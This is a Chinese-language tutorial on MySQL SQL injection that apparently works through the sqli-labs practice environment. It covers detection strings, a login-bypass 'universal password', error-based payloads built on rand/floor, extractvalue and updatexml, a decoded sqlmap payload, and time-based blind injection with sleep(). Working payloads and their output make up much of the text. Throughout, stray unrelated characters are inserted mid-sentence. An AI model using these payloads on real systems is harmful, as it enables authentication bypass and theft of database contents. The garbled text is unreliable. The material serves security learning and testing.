注入的分類
仁者見(jiàn)仁咸产,智者見(jiàn)智仲闽。
基于從服務(wù)器接收到的響應(yīng)
▲基于錯(cuò)誤的 SQL 注入
▲聯(lián)合查詢的類型
▲堆查詢注射
▲SQL 盲注
?基于布爾 SQL 盲注
?基于時(shí)間的 SQL 盲注
?基于報(bào)錯(cuò)的 SQL 盲注
基于如何處理輸入的 SQL 查詢(數(shù)據(jù)類型)
?基于字符串
?數(shù)字或整數(shù)為基礎(chǔ)的
基于程度和順序的注入(哪里發(fā)生了影響)
★一階注射 指輸入的注射語(yǔ)句對(duì) WEB 直接產(chǎn)生了影響赖欣,出現(xiàn)了結(jié)果
★二階注射 類似存 儲(chǔ)型 XSS社牲,是指輸入提交的語(yǔ)句,無(wú)法直接對(duì) WEB 應(yīng)用程序產(chǎn)生影響违寿,通過(guò)其它的輔助間接的對(duì) WEB 產(chǎn)生危害。
基于注入點(diǎn)的位置上的
▲通過(guò)用戶輸入的表單域的注射巡揍。
▲通過(guò) cookie 注射腮敌。
▲通過(guò)服務(wù)器變量注射(基于頭部信息的注射)
簡(jiǎn)單例子 常用來(lái)發(fā)現(xiàn)注入的語(yǔ)句
--+可以用#替換糜工,url 提交過(guò)程中 Url 編碼后的#為%23
or 1=1--+
'or 1=1--+
"or 1=1--+
)or 1=1--+
')or 1=1--+
") or 1=1--+
"))or 1=1--+
一般的代碼為:
$id=$_GET['id'];
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
閉合第一個(gè)引號(hào)
閉合第二個(gè)引號(hào) 或 注釋掉 采用--+ 或者 # 即%23
union 操作符
UNION 操作符用于合并兩個(gè)或多個(gè) SELECT 語(yǔ)句的結(jié)果集。
注意油坝,UNION 內(nèi)部的 SELECT 語(yǔ)句必須擁有【相同數(shù)量】的列澈圈,列也必須擁有相似的數(shù)據(jù)類型帆啃。
同時(shí)努潘,每條 SELECT 語(yǔ)句中的列的順序必須相同。
SQL UNION 語(yǔ)法
SELECT column_name(s) FROM table_name1
UNION
SELECT column_name(s) FROM table_name2
注釋:默認(rèn)地报慕,UNION 操作符選取不同的值卖子。如果允許重復(fù)的值刑峡,請(qǐng)使用 UNION ALL
SQL UNION ALL 語(yǔ)法
SELECT column_name(s) FROM table_name1
UNION ALL
SELECT column_name(s) FROM table_name2
另外,UNION 結(jié)果集中的列名總是等于 UNION 中第一個(gè) SELECT 語(yǔ)句中的列名羽利。
sql 中的邏輯運(yùn)算
Select * from users where id=1 and 1=1;
這條語(yǔ)句為什么能夠選擇出 id=1 的內(nèi)容刊懈,and 1=1 到底起作用了沒(méi)有虚汛?
這里就要清楚 sql 語(yǔ)句執(zhí)行順序了。
同時(shí)這個(gè)問(wèn)題我們?cè)谑褂萌f(wàn)能密碼的時(shí)候會(huì)用到蛋辈。
Select * from admin where username=’admin’ and password=’admin’
我們可以用 ’or 1=1# 作為密碼輸入冷溶,涉及到一個(gè)邏輯運(yùn)算尊浓,當(dāng)使用上述所謂的萬(wàn)能密碼后栋齿,構(gòu)成的 sql 語(yǔ)句為: Select * from admin where username=’admin’ and password=’’or 1=1#’
Explain:上面的這個(gè)語(yǔ)句執(zhí)行后瓦堵,我們?cè)诓恢烂艽a的情況下就登錄到了 admin 用戶了。
原 因 是 在 where 子 句 后 堡掏, 我 們 可 以 看 到 三 個(gè) 條 件 語(yǔ) 句 username=’admin’ and password=’’or 1=1
三個(gè)條件用 and 和 or 進(jìn)行連接泉唁。
在 sql 中 and 的運(yùn)算優(yōu)先 級(jí)大于 or 的元算優(yōu)先級(jí)揩慕。
因此可以看到 第一個(gè)條件(用 a 表示)是真的迎卤,第二個(gè)條件(用 b 表示)是假的,a and b 第一個(gè)條件和第二個(gè)條件執(zhí)行 and 后是假false
false 再與第三個(gè)條件 or 運(yùn)算劲藐,因?yàn)榈谌齻€(gè)條件 1=1 是恒成立的聘芜,所以結(jié)果自然就為真了汰现。
因此上述的語(yǔ)句就是恒真了。
①Select * from users where id=1 and 1=1;
②Select * from users where id=1 && 1=1;
③Select * from users where id=1 & 1=1;
上述三者有什么區(qū)別口叙?
①和②是等價(jià)的妄田,即 id=1 條件和 1=1 條件進(jìn)行 與運(yùn)算仗哨。
③【&的優(yōu)先級(jí)大于=】 即 id=1 條件與 1 進(jìn)行&位操作厌漂,id=1 被當(dāng)作 true斟珊,與 1 進(jìn)行 & 運(yùn)算 得到 1囤踩, 再與1進(jìn)行=操作堵漱,得到 1
【位運(yùn)算】將十進(jìn)制數(shù)轉(zhuǎn)換為二進(jìn)制,再進(jìn)行與示惊、或米罚、非丈探、異或等位運(yùn)算。
必要時(shí) 可利用該方法進(jìn)行注入:例如將某一字符轉(zhuǎn)換為 ascii 碼后塘秦, 可以分別與 十進(jìn)制數(shù)1,2,4,8,16,32(他們的二進(jìn)制都只有一個(gè)二進(jìn)制位為1)等進(jìn)行與運(yùn)算货裹,可以得到每一位的值弧圆,拼接起來(lái)就是 ascii 碼值搔预。再?gòu)?ascii 值反推回字符。(運(yùn)用較少)
mysql注入 - 常用函數(shù)
系統(tǒng)函數(shù):
version()
MySQL 版本
user()
數(shù)據(jù)庫(kù)用戶名
database()
數(shù)據(jù)庫(kù)名
@@datadir
數(shù)據(jù)庫(kù)路徑
@@version_compile_os
操作系統(tǒng)版本
MySQL命令行模式 常用于自己管理數(shù)據(jù)庫(kù):
show databases;#所有數(shù)據(jù)庫(kù)名
use security;#數(shù)據(jù)庫(kù)名
show tables;#該數(shù)據(jù)庫(kù)中 所有表名
desc emails;#該 表中所有 字段的屬性 字段名等
MySQL注入常用:
猜數(shù)據(jù)庫(kù) select schema_name from information_schema.schemata
猜某庫(kù)的數(shù)據(jù)表 select table_name from information_schema.tables where table_schema=’xxxxx’
猜某表的所有列 Select column_name from information_schema.columns where table_name=’xxxxx’
獲取某列的內(nèi)容 Select xx_column from xx_table
列出所有的數(shù)據(jù)庫(kù)
select group_concat(schema_name) from information_schema.schemata
列出某個(gè)庫(kù)當(dāng)中所有的表
select group_concat(table_name) from information_schema.tables where table_schema='xxxxx'
系統(tǒng)數(shù)據(jù)庫(kù) information_schema:
Mysql 有一個(gè)系統(tǒng)數(shù)據(jù)庫(kù) information_schema,含有所有數(shù)據(jù)庫(kù)的相關(guān)信息吭产。
一般利用它可進(jìn)行一次完整的注入鸭轮。
use information_schema
show tables;
desc tables;
select table_name from information_schema.tables where table_schema="security";
mysql注入 - 基礎(chǔ) - 編碼或變形 - hex()
十進(jìn)制數(shù)字 -> 十六進(jìn)制:
mysql> select(hex(15));
+-----------+
| (hex(15)) |
+-----------+
| F |
+-----------+
1 row in set (0.00 sec)
字符串 -> 十六進(jìn)制:
mysql> select(hex('A'));
+------------+
| (hex('A')) |
+------------+
| 41 |
+------------+
1 row in set (0.00 sec)
mysql> select(hex('-'));
+------------+
| (hex('-')) |
+------------+
| 2D |
+------------+
1 row in set (0.00 sec)
0x開(kāi)頭的十六進(jìn)制 -> 字符串:
mysql> select concat('hello',0x2D,'world');
+------------------------------+
| concat('hello',0x2D,'world') |
+------------------------------+
| hello-world |
+------------------------------+
1 row in set (0.00 sec)
mysql> select concat('hello',0x3D3D,'world');
+--------------------------------+
| concat('hello',0x3D3D,'world') |
+--------------------------------+
| hello==world |
+--------------------------------+
1 row in set (0.00 sec)
mysql注入 - 基礎(chǔ) - 編碼或變形 - ascii()
ascii碼 可見(jiàn)字符基本是32到127
# ascii函數(shù)
Returns the numeric value of the leftmost character of the string str.
Returns 0 if str is the empty string.
Returns NULL if str is NULL. ASCII() works for 8-bit characters.
# 字符串 -> ascii碼
mysql> select ascii('a');
+------------+
| ascii('a') |
+------------+
| 97 |
+------------+
1 row in set (0.00 sec)
# ord函數(shù) 和 ascii唯一的區(qū)別:多字節(jié)的字符處理
mysql> SELECT ord('為');
+-----+
| 為 |
+-----+
| 為 |
+-----+
1 row in set (0.00 sec)
mysql> SELECT ASCII('為');
+--------------+
| ASCII('為') |
+--------------+
| 228 |
+--------------+
1 row in set (0.00 sec)
# ascii碼 -> 字符串
mysql> select CHAR(49);
+----------+
| CHAR(49) |
+----------+
| 1 |
+----------+
1 row in set (0.00 sec)
mysql> SELECT CHAR(77,121,83,81,'76');
-> 'MySQL'
mysql> SELECT CHAR(77,77.3,'77.3');
-> 'MMM'
char的其他說(shuō)明
CHAR() arguments larger than 255 are converted into multiple result bytes.
For example, CHAR(256) is equivalent to CHAR(1,0), and CHAR(256*256) is equivalent to CHAR(1,0,0):
mysql> SELECT HEX(CHAR(1,0)), HEX(CHAR(256));
+----------------+----------------+
| HEX(CHAR(1,0)) | HEX(CHAR(256)) |
+----------------+----------------+
| 0100 | 0100 |
+----------------+----------------+
mysql注入 - 基礎(chǔ) - 字符串 - LENGTH()函數(shù)
mysql你不知道字符串操作函數(shù) https://yq.aliyun.com/ziliao/65046?spm=a2c4e.11155472.blogcont.27.72435336QD2gOO
獲得一個(gè)字符串的長(zhǎng)度
mysql> select length('abcdefg');
+-------------------+
| length('abcdefg') |
+-------------------+
| 7 |
+-------------------+
1 row in set (0.00 sec)
mysql注入 - 基礎(chǔ) - 字符串 - substring()函數(shù) 和 mid()函數(shù) 等價(jià)
取子字符串
取出字符串str里的第pos位開(kāi)始 長(zhǎng)度len的字符
pos 如str第一個(gè)字符的位置為1,依次類推 pos可是負(fù)數(shù) str最后一個(gè)字符的位置為-1,依次類推
2個(gè)參數(shù)的形式:
沒(méi)有l(wèi)en參數(shù)表示 子字符串為 從pos位置開(kāi)始到str的末尾 的字符串
SUBSTRING(str,pos)
SUBSTRING(str FROM pos)
3個(gè)參數(shù)的形式:
最后一個(gè)參數(shù)len 即返回的子字符串長(zhǎng)度(字符數(shù))
SUBSTRING(str,pos,len)
SUBSTRING(str FROM pos FOR len)
使用FROM的是標(biāo)準(zhǔn)SQL語(yǔ)法。
In this case, the beginning of the substring is pos characters from the end of the string, rather than the beginning.
A negative value may be used for pos in any of the forms of this function.
For all forms of SUBSTRING(), the position of the first character in the string from which the substring is to be extracted is reckoned as 1.
mysql> SELECT SUBSTRING('Quadratically',5);
-> 'ratically'
mysql> SELECT SUBSTRING('foobarbar' FROM 4);
-> 'barbar'
mysql> SELECT SUBSTRING('Quadratically',5,6);
-> 'ratica'
mysql> SELECT SUBSTRING('Sakila', -3);
-> 'ila'
mysql> SELECT SUBSTRING('Sakila', -5, 3);
-> 'aki'
mysql> SELECT SUBSTRING('Sakila' FROM -4 FOR 2);
-> 'ki'
mysql注入 - 基礎(chǔ) - 字符串 - ELT()函數(shù)
mysql> SELECT ELT(1, 'ej', 'Heja', 'hej', 'foo');
-> 'ej'
mysql> SELECT ELT(4, 'ej', 'Heja', 'hej', 'foo');
-> 'foo'
mysql> select 0x5c;
+------+
| 0x5c |
+------+
| \ |
+------+
1 row in set (0.00 sec)
mysql> select CONCAT(0x5c,0x7162626a71,1,0x7162767671);
+------------------------------------------+
| CONCAT(0x5c,0x7162626a71,1,0x7162767671) |
+------------------------------------------+
| \qbbjq1qbvvq |
+------------------------------------------+
1 row in set (0.00 sec)
mysql注入 - 基礎(chǔ) - 字符串連接
注入有回顯,將多個(gè)數(shù)據(jù) 或 多行數(shù)據(jù)進(jìn)行輸出的時(shí)候卿堂,需要使用字符串連接函數(shù)
這3個(gè)函數(shù)能一次性查出所有信息:
concat(str1,str2,...)
沒(méi)有分隔符 連接字符串
如有任何一個(gè)參數(shù)為NULL則結(jié)果為 NULL,可以有一個(gè)或多個(gè)參數(shù)
concat_ws(separator,str1,str2,...)
含有分隔符 連接字符串
group_concat(str1,str2,...)
連接一個(gè)組的所有字符串 以逗號(hào)分隔每一條數(shù)據(jù) 函數(shù)具體介紹 http://www.cnblogs.com/lcamry/p/5715634.html
mysql注入 - 基礎(chǔ) - 字符串連接 - concat()函數(shù)
mysql> SELECT id,name FROM sea_admin LIMIT 1;
+----+-------+
| id | name |
+----+-------+
| 1 | admin |
+----+-------+
1 row in set (0.00 sec)
使用union聯(lián)合注入時(shí)草描,前后兩個(gè)選擇的列數(shù)必須相同
這里id漓藕,name是2個(gè)列享钞,要1個(gè)列的怎么辦?用concat()函數(shù) 連接字符串
(當(dāng)然也可以分兩次:先爆出id暑脆,再爆出name)
mysql> SELECT CONCAT(id, 0x2D, name) AS newnew FROM sea_admin LIMIT 1;
+-----------+
| newnew |
+-----------+
| 1-admin |
+-----------+
1 row in set (0.00 sec)
mysql注入 - 基礎(chǔ) - 字符串連接 - CONCAT_WS()函數(shù)
意思是 CONCAT With Separator
CONCAT_WS(separator,str1,str2,…)
第一個(gè)參數(shù)Separator是其它參數(shù)的分隔符
分隔符放在要連接的字符串之間添吗。
使用示例:
#下劃線 作為分隔符
mysql> SELECT CONCAT_WS('_',id,name) AS newnew FROM sea_admin LIMIT 1;
+---------+
| newnew |
+---------+
| 1_admin |
+---------+
1 row in set (0.00 sec)
# - 作為分隔符
mysql> SELECT CONCAT_WS(0x2d,1,2) AS newnew FROM sea_admin LIMIT 1;
+--------+
| newnew |
+--------+
| 1-2 |
+--------+
1 row in set (0.00 sec)
# 如果分隔符為 NULL碟联,則結(jié)果全為 NULL
mysql> SELECT CONCAT_WS(NULL,1,2) AS newnew FROM sea_admin LIMIT 1;
+--------+
| newnew |
+--------+
| NULL |
+--------+
1 row in set (0.00 sec)
# 會(huì)忽略后面參數(shù)中的null 相當(dāng)于sql語(yǔ)句中沒(méi)寫 null,
mysql> SELECT CONCAT_WS(0x2d,null,2,3) AS newnew FROM sea_admin LIMIT 1;
+--------+
| newnew |
+--------+
| 2-3 |
+--------+
1 row in set (0.00 sec)
mysql> SELECT CONCAT_WS(0x2d,1,null,3) AS newnew FROM sea_admin LIMIT 1;
+--------+
| newnew |
+--------+
| 1-3 |
+--------+
1 row in set (0.00 sec)
# 空字符串 和普通字符串一樣被連接
mysql> SELECT CONCAT_WS(0x2d,1,'',3) AS newnew FROM sea_admin LIMIT 1;
+--------+
| newnew |
+--------+
| 1--3 |
+--------+
1 row in set (0.00 sec)
mysql注入 - 基礎(chǔ) - 字符串連接 - group_concat()函數(shù)
group_concat(str1,str2,...)
連接一個(gè)組的所有字符串 以逗號(hào)分隔每一條數(shù)據(jù)
mysql注入 - 報(bào)錯(cuò)注入 - rand()函數(shù)
常用函數(shù)
#floor()函數(shù) 取小于該數(shù)字的最大整數(shù)
mysql> select floor(5.1);
+------------+
| floor(5.1) |
+------------+
| 5 |
+------------+
1 row in set (0.00 sec)
mysql> select floor(2.9);
+------------+
| floor(2.9) |
+------------+
| 2 |
+------------+
1 row in set (0.00 sec)
#rand()函數(shù) 返回一個(gè)隨機(jī)浮點(diǎn)數(shù)v鲤孵,取值范圍為0 < v=< 1.0
mysql> select rand();
+--------------------+
| rand() |
+--------------------+
| 0.7883178170661608 |
+--------------------+
1 row in set (0.00 sec)
#如 獲得一個(gè)隨機(jī)整數(shù) 范圍為7<=x<=12
mysql> SELECT FLOOR(7 + (RAND() * 5));
+-------------------------+
| FLOOR(7 + (RAND() * 5)) |
+-------------------------+
| 7 |
+-------------------------+
1 row in set (0.00 sec)
# rand(0)是固定的普监? *2取整永遠(yuǎn)是同1個(gè)整數(shù)
mysql> select rand(0),floor(rand(0)*2);
+---------------------+------------------+
| rand(0) | floor(rand(0)*2) |
+---------------------+------------------+
| 0.15522042769493574 | 0 |
+---------------------+------------------+
1 row in set (0.00 sec)
#查看concat()連接函數(shù)
select concat(user(),floor(rand(0)*2)) 返回 root@localhost0
#構(gòu)造報(bào)錯(cuò)語(yǔ)句
select 1 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a
#拼接sql語(yǔ)句到后端
http://127.0.0.4/Less-1/index.php?id=1′ and (select 1 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a) –+
mysql注入 - 報(bào)錯(cuò)注入 - extractvalue()函數(shù)
#函數(shù)原型
#EXTRACTVALUE (XML_document, XPath_string);
第一個(gè)參數(shù):XML_document是String格式
第二個(gè)參數(shù):XPath_string (Xpath格式的字符串)
#使用方式
mysql> select 0x7e;
+------+
| 0x7e |
+------+
| ~ |
+------+
1 row in set (0.00 sec)
#返回原值
mysql> select (extractvalue('1231231w去','/'));
+-----------------------------------+
| (extractvalue('1231231w去','/')) |
+-----------------------------------+
| 1231231w去 |
+-----------------------------------+
1 row in set (0.00 sec)
#故意使extractvalue報(bào)錯(cuò)凯正!
#以16進(jìn)制0x7e即~符號(hào)作為標(biāo)志廊散, 頭~和尾~ 之間的字符即所需數(shù)據(jù)!
mysql> select (extractvalue(1,concat(0x7e,(select user()),0x7e)));
ERROR 1105 (HY000): XPATH syntax error: '~root@localhost~'
#構(gòu)造報(bào)錯(cuò)語(yǔ)句
select * from test where id=1 and (extractvalue(1,concat(0x7e,(select user()),0x7e)))
#拼接sql語(yǔ)句到后端
http://127.0.0.4/Less-1/index.php?id=1′ and (extractvalue(1,concat(0x7e,(select user()),0x7e))) –+
### mysql注入 - 報(bào)錯(cuò)注入 - updatexml()函數(shù)
#函數(shù)原型,更新xml
#UPDATEXML (XML_document, XPath_string, new_value);
第一個(gè)參數(shù):XML_document是String格式
第二個(gè)參數(shù):XPath_string
第三個(gè)參數(shù):new_value
#與 extractvalue() 函數(shù)區(qū)別是 第三個(gè)參數(shù)替換了節(jié)點(diǎn)字符串往声,返回值是整個(gè)改變后的XML文檔
#使用方式
select updatexml(“666“, “/html”,”888″) #返回888
#使用updatexml報(bào)錯(cuò),以16進(jìn)制0x7e,就是~符號(hào),去掉頭~和尾~獲取中間值
select (updatexml(1,concat(0x7e,(select user()),0x7e),1))
#構(gòu)造報(bào)錯(cuò)語(yǔ)句
select * from test where id=1 and (updatexml(1,concat(0x7e,(select user()),0x7e),1))
#拼接sql語(yǔ)句到后端
http://127.0.0.4/Less-1/index.php?id=1′ and (updatexml(1,concat(0x7e,(select user()),0x7e),1)) –+
常用函數(shù) - xml解析函數(shù)extractvalue
mysql> SET @temp_xml = '
<?xml version="1.0" encoding="UTF-8"?>
<MSG xmlns="http://www.travelsky.com/2006/dcsi" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema">
<META>
<SNDR>AODB</SNDR>
<SEQN>800495</SEQN>
<DTTM>20171226114530</DTTM>
<TYPE>FLOP</TYPE>
<STYP>STND</STYP>
</META>
<FLOP>
<FLID>4666481</FLID>
<STND>Y20</STND>
</FLOP>
</MSG>
';
mysql> select extractvalue(@temp_xml,'/MSG/FLOP/STND');
+------------------------------------------+
| extractvalue(@temp_xml,'/MSG/FLOP/STND') |
+------------------------------------------+
| Y20 |
+------------------------------------------+
1 row in set (0.00 sec)
select EXTRACTVALUE(7426,'\qbbjq1qbvvq');
sqlmap - 實(shí)例分析 - bool型注入
sqlmap報(bào)出注入:
Parameter: #1* ((custom) POST)
Type: error-based
Title: MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)
Payload: param={"logtype":"icg_afs_log' AND EXTRACTVALUE(7426,CONCAT(0x5c,0x7162626a71,(SELECT (ELT(7426=7426,1))),0x7162767671)) AND 'LUBy'='LUBy","query_clauses":"","time_range":{"time_format":"relative","from":"-1d","to":"now"},"logs":{"maxline":"100","raw":true}}
原始payload
' AND EXTRACTVALUE(7426,CONCAT(0x5c,0x7162626a71,(SELECT (ELT(7426=7426,1))),0x7162767671)) AND 'LUBy'='LUBy
因?yàn)?mysql> select ELT(7426=7426,1);
+------------------+
| ELT(7426=7426,1) |
+------------------+
| 1 |
+------------------+
1 row in set (0.00 sec)
所以payload變?yōu)?' AND EXTRACTVALUE(7426,CONCAT(0x5c,0x7162626a71,1,0x7162767671)) AND 'LUBy'='LUBy
因?yàn)?mysql> select CONCAT(0x5c,0x7162626a71,1,0x7162767671);
+------------------------------------------+
| CONCAT(0x5c,0x7162626a71,1,0x7162767671) |
+------------------------------------------+
| \qbbjq1qbvvq |
+------------------------------------------+
1 row in set (0.00 sec)
所以payload變?yōu)?' AND EXTRACTVALUE(7426,'\qbbjq1qbvvq') AND 'LUBy'='LUBy
因?yàn)?mysql> select 0 = EXTRACTVALUE(7426,'\qbbjq1qbvvq');
+---------------------------------------+
| 0 = EXTRACTVALUE(7426,'\qbbjq1qbvvq') |
+---------------------------------------+
| 1 |
+---------------------------------------+
1 row in set (0.00 sec)
mysql> select 'LUBy'='LUBy';
+---------------+
| 'LUBy'='LUBy' |
+---------------+
| 1 |
+---------------+
1 row in set (0.00 sec)
所以payload變?yōu)?' AND 0 AND 1
因?yàn)?mysql> select (0 AND 1);
+-----------+
| (0 AND 1) |
+-----------+
| 0 |
+-----------+
1 row in set (0.00 sec)
所以payload變?yōu)?' AND 0
時(shí)間延遲盲注 實(shí)例
與 布爾類型盲注 相似
關(guān)鍵判斷函數(shù):sleep(6)
延時(shí)6秒
手工測(cè)試 兩者對(duì)比明顯有延遲
http://127.0.0.4/Less-1/index.php?id=1′ and sleep(0) –+
http://127.0.0.4/Less-1/index.php?id=1′ and sleep(10) –+
理論依據(jù):
if是mysql自帶的函數(shù),條件如果是執(zhí)行第二個(gè)參數(shù)慢洋,否執(zhí)行第三個(gè)參數(shù)
if(condition,true,false)
if(條件,條件為真的話執(zhí)行函數(shù),條件為假的話執(zhí)行函數(shù))
sleep函數(shù)放在參數(shù)2的位置上 則條件為真就執(zhí)行 參數(shù)2處的sleep(6)【據(jù)此判斷準(zhǔn)確】
sleep函數(shù)放在參數(shù)3的位置上 則條件為假就執(zhí)行 參數(shù)3處的sleep(6)【不機(jī)智】
實(shí)例payload:
# 條件 1 恒為True
mysql> select if(1,sleep(2),0);
+------------------+
| if(1,sleep(2),0) |
+------------------+
| 0 |
+------------------+
1 row in set (2.00 sec)
#恒為真的語(yǔ)句
select now();
select sysdate();
mysql> select sysdate();
+---------------------+
| sysdate() |
+---------------------+
| 2018-02-10 15:49:05 |
+---------------------+
1 row in set (0.00 sec)
mysql> select sysdate()=now();
+-----------------+
| sysdate()=now() |
+-----------------+
| 1 |
+-----------------+
1 row in set (0.00 sec)
if(now()=sysdate(),sleep(2),0)
url編碼:
if(now()=sysdate()%2csleep(2)%2c0)
payload 實(shí)例:
當(dāng)ascii碼正確時(shí)败明,產(chǎn)生延時(shí)太防,否則不延時(shí)
if(ascii(subtring(“hello”,1,1))=104,sleep(2),1) #取得hello的第一個(gè)字符h,轉(zhuǎn)化為ascii碼讳嘱,與104對(duì)比沥潭,如果相等則執(zhí)行sleep(2),否則執(zhí)行1,在sqlmap中汇恤,如果標(biāo)簽綴被跑出了拔恰,下次的時(shí)候sqlmap會(huì)優(yōu)先判斷表前綴仁连,從而提高了注入速度。
如果自己寫腳本的話使鹅,通過(guò)ascii碼把a(bǔ)-zA-Z0-9都遍歷一遍患朱,即可取出對(duì)應(yīng)的結(jié)果了炊苫。 在sqlmap中把這個(gè)表達(dá)式拆分了噢侨艾、用16進(jìn)制方式做的對(duì)比,預(yù)計(jì)是可以加快速度的袋励,不過(guò)猜測(cè)會(huì)消耗主機(jī)資源当叭。
if(ascii(“h”)=104,sleep(2),1)
##查表名蚁鳖,查字段,內(nèi)容以此類推
if(ascii(substring((SELECT distinct concat(表名) FROM information_schema.tables where table_schema=database() LIMIT 0,1),1,1))=116,sleep(2),1);
#調(diào)試下面語(yǔ)句,說(shuō)明如果 條件成立 則打開(kāi)頁(yè)面會(huì)出現(xiàn)延遲
select if(ord(mid(version(),1,1))>=53,sleep(5),0)